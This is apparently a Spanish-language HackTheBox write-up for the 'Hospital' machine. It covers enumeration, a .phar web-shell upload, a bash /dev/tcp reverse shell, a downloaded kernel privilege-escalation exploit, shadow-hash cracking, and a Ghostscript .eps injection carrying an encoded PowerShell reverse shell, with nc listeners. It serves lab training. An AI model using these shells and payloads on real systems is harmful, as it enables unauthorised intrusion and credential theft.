> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-medium/hospital-hackthebox-writeup.md).

# Análisis de Hospital HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Hospital>" %}

{% hint style="warning" %}
**Habilidades:**

* Enumeración web
* Abuso de la herramienta p0wny-shell para subidas de archivos
* Descifrando una contraseña hash protegida
* Inyección de comandos en archivos tipo .eps
* Escalada de privilegios de dominio
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/b738d99cb3d51180170a0ef1b344eaea71cec185" alt=""><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/532b48b03466fdfbf9e0d23403fdfdbcfcfa7065" alt=""><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**/ Enumerar los puertos abiertos y exportar los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.241 -oG allPorts
```

<figure><img src="/files/dda1a0609bb225a5a829af105d6b5dccce21cd7d" alt=""><figcaption></figcaption></figure>

**Análisis de puertos abiertos con extractport:**/ Usando la función extractport para mostrar de forma concisa los puertos abiertos y copiarlos al portapapeles.

<figure><img src="/files/a1803d464866628c9809452c2a23d4e6ee5320e0" alt=""><figcaption></figcaption></figure>

**Escaneo de versión de puertos con Nmap:**/ Usar Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":

```bash
nmap -sCV -p22,53,88,135,139,389,443,445,464,593,636,1801,2103,2105,2107,2179,3268,3269,3389,5985,6059,6404,6406,6407,6410,6617,6639,8080,9389 10.10.11.241 -oN targeted
```

<figure><img src="/files/1af486946452c4e2105979e6d440538418772fd9" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9fbe6eee3133e29053948295be1318cbc375a460" alt=""><figcaption></figcaption></figure>

**Identificación de la interfaz del puerto 443**

<figure><img src="/files/65dae982882fa7e4ca6848e6ee55f60812fbb770" alt=""><figcaption></figcaption></figure>

**Identificación de la interfaz del puerto 8080**

<figure><img src="/files/d4a5c324939898c4280cc82be87daef7add49b7a" alt=""><figcaption></figcaption></figure>

**Creación de usuario:**

Creación de un usuario para establecer un posible acceso a la máquina objetivo

<figure><img src="/files/dba05448bf9668cd24c5b194a9fe576d96f14bb1" alt=""><figcaption></figcaption></figure>

## Vulnerabilidad de subida de archivos:

<figure><img src="/files/75c6303ce6f2ce65e5458e99c1da698556d35849" alt=""><figcaption></figcaption></figure>

#### Explotación inicial:

Intento de explotar una vulnerabilidad de descarga de archivos insertando un archivo PHP malicioso

```php
<?php
system($_GET['cmd'];
?>
```

El servidor rechaza automáticamente las solicitudes de subida de archivos con ciertas extensiones.

<figure><img src="/files/c8ff98142cb8808a66efa575f7d41a3acb8ec393" alt=""><figcaption></figcaption></figure>

**Intercepción con Burp Suite:**

Uso de Burp Suite para interceptar y analizar el tráfico y comprender los errores de funcionamiento

<figure><img src="/files/efef1f6da8a3b76ad066d92d851e5eec86bf22d1" alt=""><figcaption></figcaption></figure>

#### Modificación de la extensión PHP:

Cambiar la extensión del archivo de `.php` a `.phar` en el `filename` variable, y asegúrate de que la ubicación sea aceptada correctamente

<figure><img src="/files/1a0d64252ef395a0b7400dd3f41b7e0ca84ff5f1" alt=""><figcaption></figcaption></figure>

**Resumen de directorios:**

Uso de Gobuster para identificar directorios en un servidor web y localizar el almacenamiento de imágenes médicas subidas.

```bash
gobuster dir -u http://10.10.11.241:8080/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20
```

<figure><img src="/files/439935545ae35347e330cd7a0c6034a2dff096a7" alt=""><figcaption></figcaption></figure>

#### Archivo no interpretado:

El contenido de un archivo a.phar no se interpreta.

<figure><img src="/files/3b1c6d8eebe439f91f0f3ffc417678b0d497cc2b" alt=""><figcaption></figcaption></figure>

**Usar la herramienta de GitHub para crear una shell:**

Uso de una herramienta de proyecto de GitHub para evitar las restricciones de descarga de archivos PHP y obtener acceso a una shell

{% embed url="<https://github.com/flozz/p0wny-shell>" %}

<figure><img src="/files/9d366c5ecbd3cd8add5c39d92ee1a7e5c008b8d7" alt=""><figcaption></figcaption></figure>

**Iniciando una reverse shell:**

```bash
/usr/bin/bash -c 'bash -i >& /dev/tcp/10.10.15.18/444 0>&1'
```

Ejecuta una reverse shell para establecer acceso interactivo a la máquina objetivo y obtener control total.

<figure><img src="/files/8f2b1cbfa6f7275c212dbf831bb74a6c28bccf1f" alt=""><figcaption></figcaption></figure>

#### Una vez que tengas acceso al servidor Linux, estos son los comandos a ejecutar para el procesamiento en terminal:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## Escalada de privilegios (servidor Linux):

**Identificación de la versión del sistema operativo:**/ Usa el `cat /etc/os-release` comando para comprobar la versión del sistema, y observa la presencia de una versión antigua de Ubuntu ("23.04").

<figure><img src="/files/6e7e4f7c11ff9041f654cc6898d8a08e3271a346" alt=""><figcaption></figcaption></figure>

#### **Descargar script para escalar privilegios:**

Descarga el script desde [GitHub](https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629?source=post_page-----ce86940a895f--------------------------------), que permite la escalada de privilegios:

```bash
wget https://raw.githubusercontent.com/g1vi/CVE-2023-2640-CVE-2023-32629/main/exploit.sh
```

<figure><img src="/files/d178edce5ad71da51e6c907b61dc400b19b4b4cc" alt=""><figcaption></figcaption></figure>

#### **Extraer contraseñas hash:** Extraer contraseñas hash de `/etc/shadow` archivo.

<figure><img src="/files/19e38b409712c8975b9d98140f50015a6052fa3e" alt=""><figcaption></figcaption></figure>

**Crackeo de contraseñas:**

Usa la herramienta John the Ripper con una lista de contraseñas conocida para descifrar contraseñas:

```bash
john -w:/usr/share/wordlists/rockyou.txt hash.txt
```

<figure><img src="/files/b117a3ba408d0986a877a17fec0c5f46f0a03b40" alt=""><figcaption></figcaption></figure>

## Vulnerabilidad: inyección de archivos .eps

#### Prueba las credenciales en el sitio web accesible a través del puerto 443.

<figure><img src="/files/d1838eec689748739bb044ce3f0d22c843454722" alt=""><figcaption></figcaption></figure>

**Descubrimiento de un buzón restringido:**

Descubre un buzón de correo que desea recibir un diseño en formato .eps.

<figure><img src="/files/0ae8554f2ee0b8ee62fc3212949870a948ac2037" alt=""><figcaption></figcaption></figure>

**Operación de Ghostscript mediante archivo .eps:**

Usa un [Explotación de GitHub](https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection/blob/main/CVE_2023_36664_exploit.py) basado en [Ghostscript](https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection/blob/main/CVE_2023_36664_exploit.py) para ejecutar código malicioso a través de un `.eps` extensión de archivo.

<figure><img src="/files/4510897d11a6174c0ede1503017e573ac59f5feb" alt=""><figcaption></figcaption></figure>

#### Utilice [RevShells](https://www.revshells.com/) para crear la carga útil de PowerShell:

<figure><img src="/files/d89e81d34b26dd0bc66340800c4e5f091179b8f7" alt=""><figcaption></figcaption></figure>

#### Inyectando la carga útil en el archivo .eps:

Usando el comando para inyectar la carga útil con la reverse shell en el archivo .eps.

{% code fullWidth="true" %}

```bash
python3 exploit.py --inject --payload "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMgAiACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=" --filename file.eps
```

{% endcode %}

<figure><img src="/files/e185cf83fc0da5a0934eedf04cc3df3c8af604ac" alt=""><figcaption></figcaption></figure>

#### Escuchando con rlwrap:

Configurando la escucha con rlwrap para esperar una conexión entrante.

```bash
rlwrap nc -nlvp 4444
```

#### Enviando correo con archivo EPS malicioso:

<figure><img src="/files/f8b88012c9a4597e7c798e2a6374fad05aefd843" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9574a00a4337bad03cbc11ccd72a29ccae5a252b" alt="" width="563"><figcaption></figcaption></figure>

#### Descubrimiento de un archivo ghostscript.bat:

Descubrimiento de un archivo ghostscript.bat que contiene la contraseña de "drbrown": `chr!$br0wn`

<figure><img src="/files/ba6dd34da77d20731362f891bbe4361d25c99290" alt=""><figcaption></figcaption></figure>

#### Primera bandera user.txt:

Descubrimiento y recuperación de la primera bandera user.txt.

<figure><img src="/files/f692e94be313d66775783eb2da96846996d8cf8f" alt=""><figcaption></figcaption></figure>

## Escalada de privilegios en Active Directory:

#### Escalada de privilegios accediendo al servidor web XAMPP.

<figure><img src="/files/67958d2a6cd26e0474e194b58d757322cd60005a" alt=""><figcaption></figcaption></figure>

#### Creación de un archivo PHP:

Crea un archivo PHP que contenga el código "this is a test".

```bash
echo "this is a test" > test.php
```

#### Comprobando el servidor web:

Verifica que el servidor web inserte correctamente el archivo PHP.

<figure><img src="/files/6fe985a5c9069ac6e9823ab6308500761793773a" alt=""><figcaption></figcaption></figure>

#### Reinyecta el archivo PHP desde el [p0wny-shell](https://github.com/flozz/p0wny-shell) proyecto:

{% embed url="<https://github.com/flozz/p0wny-shell>" %}

<pre class="language-bash"><code class="lang-bash">python3 -m http.server 8080

<strong>wget http://10.10.16.2:8080/shell.php -o shell.php
</strong></code></pre>

<figure><img src="/files/568c4fc0ce77a52115bde5898e16741a3876fbec" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/34eb63741c2cea07b9060c556a654280cd8af9b0" alt=""><figcaption></figcaption></figure>

#### Copia el [shell inversa](https://www.revshells.com/) carga útil en la terminal de pownyshell:

<figure><img src="/files/5fc2ee5543e1d8e70b28c0e54cd9476b1088b772" alt=""><figcaption></figcaption></figure>

#### Escuchando con rlwrap:

```bash
rlwrap nc -nlvp 4444
```

### Bandera root.txt obtenida:

<figure><img src="/files/576e09a2fd765cdca1c645520f8dcf691b68ad76" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a9929af73c6bfa86b655e25cd08040436fbc804d" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-medium/hospital-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
